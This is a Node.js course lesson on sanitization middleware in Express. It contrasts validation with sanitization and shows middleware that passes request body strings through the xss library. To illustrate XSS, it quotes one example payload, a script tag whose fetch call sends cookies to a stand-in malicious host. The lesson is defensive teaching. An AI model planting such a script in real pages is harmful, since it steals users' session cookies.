Course contentsShow
← Node.js
Lesson 651 of 1,9807. Web Framework Architecture and MiddlewareFree lesson

Request Sanitization Patterns

Strip malicious content from incoming user inputs to prevent injection attacks.

Request Sanitization Patterns

In this lesson, you will learn how to proactively neutralize malicious payloads within incoming request data before they reach your business logic.

While Input Validation (which we covered in lesson 16) ensures that data matches the expected format—like checking if an email looks like an email—Sanitization is about cleaning the data to remove or escape dangerous characters. Even if an input is "valid" (e.g., a string), it might still contain malicious scripts or characters intended to trigger Cross-Site Scripting (XSS) or database injection attacks.

Why Sanitize?

Imagine a user submits a profile bio. If they enter <script>fetch('malicious-site.com/steal-cookies')</script>, and you save that directly into your database and render it later, you have an XSS vulnerability. Sanitization acts as a "filter" that strips away these harmful parts or converts them into harmless text.

Implementation Pattern

The most effective way to handle this in Express is through a dedicated sanitization middleware that runs immediately after your body-parser (from lesson 8). By using a pattern that targets req.body, req.query, and req.params, you can clean data globally.

Here is a conceptual look at how you might apply a sanitization step using a library like dompurify or xss:

const xss = require('xss');

// Sanitization Middleware
const sanitizeInput = (req, res, next) => {
  if (req.body) {
    for (let key in req.body) {
      if (typeof req.body[key] === 'string') {
        req.body[key] = xss(req.body[key]);
      }
    }
  }
  next();
};

// Apply after body parsing
app.use(express.json());
app.use(sanitizeInput);

Strategic Placement

Because we have already mastered Middleware Sequencing Strategies (lesson 10), it is vital to remember that sanitization must happen after the request body is parsed but before your route handlers process the data. This ensures your application logic always works with "safe" strings.

By treating all incoming data as untrusted, you build an essential layer of defense that stops malicious code from ever being stored or executed by your server.

Key Takeaway: Validation confirms the shape of the data, but sanitization ensures that the content is harmless by stripping away malicious payloads before they hit your application logic.